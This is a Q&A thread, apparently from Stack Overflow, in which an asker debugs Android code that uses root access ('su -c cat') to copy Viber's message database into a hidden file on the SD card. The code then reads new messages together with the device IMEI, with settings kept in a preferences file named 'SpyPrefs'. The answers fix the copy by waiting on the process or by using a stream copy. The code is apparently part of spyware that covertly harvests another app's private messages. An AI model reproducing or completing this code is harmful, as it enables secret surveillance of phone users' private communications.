2

I have rooted the phone and copying the database of other application into the SD card.

In the below code it simply copying the db file and after that fetching the data from the table. This code throw the exception Exception:unknown error (code 14): Could not open database

Guys help me if you have any idea of this.

String filep ="/mnt/sdcard/.configsvb.db";
String filefolder="/data/data/com.viber.voip/databases/viber_messages";
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});

new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.

Helper.java

public void readvb(String filep,Context con, StringBuilder data)
{
        File dbfile = new File(filep);
        SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
        Editor editor = preferences.edit();
        if(dbfile.exists())
        {
                myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
                long lastmessage = preferences.getLong("LastViberRead", 0);
                long msgtime=0;
                StringBuilder xml = new StringBuilder();
                LogsTable logtable= new LogsTable(con);
                Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null);

                int count=0;
                String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
                SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
                if(cursor != null)
                {

                }
        }
}
3
  • Did you set <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> ? Commented Jan 8, 2014 at 10:28
  • Yes I already have this in the Manifest. Commented Jan 8, 2014 at 10:34
  • I added my own response, give it a try, good luck! Commented Jan 8, 2014 at 10:41

2 Answers 2

1

I solved my issue by calling the waitFor() on the process because waitFor() run in different process. This method causes the calling thread to wait for the native process associated with this object to finish executing.

Process process = Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});
process.waitFor();
Sign up to request clarification or add additional context in comments.

Comments

0

Try:

static class DatabaseClass extends SQLiteOpenHelper {

    DatabaseClass(final Context context) {
        super(context, Environment.getExternalStorageDirectory()
                + File.separator + "/DataBase/" + File.separator
            + DATABASE_NAME, null, DATABASE_VERSION);
}

Have also a look here:

http://techin-android.blogspot.it/2011/08/how-to-create-sqlite-databse-in-sdcard.html

UPDATE:

To copy the file instead of

Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});

you can use this snippet:

InputStream myInput = new FileInputStream("/data/data/pack_name/databases/databasename.db");

File directory = new File("/sdcard/some_folder");

if (!directory.exists()) {
    directory.mkdirs();
}

OutputStream myOutput = new FileOutputStream(directory.getPath() + "/AppName.backup");

byte[] buffer = new byte[1024];
int length;
while ((length = myInput.read(buffer)) > 0) {
    myOutput.write(buffer, 0, length);
}

myOutput.flush();
myOutput.close();
myInput.close();

...because I'm not sure about "cat" command: does it set the right permissions to the copied file?

6 Comments

My code of copying the database works well but When opening the database connection it return the exception Exception:unknown error (code 14): Could not open database
ok ok, I'm not very expert about executing runtime command, but, just thinking... does the copy command set the right permissions to the file? So my suggestion to copy the file manually, using streams...
I wrote in my question that My phone is rooted so I can access any application data
Yep, but I'm still not sure about the cat command, maybe I'm focusing on the wrong point, I would give a try to the manual copy instead of using cat command.
But cat with this redirection operator > also do same work to copy the file
|

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.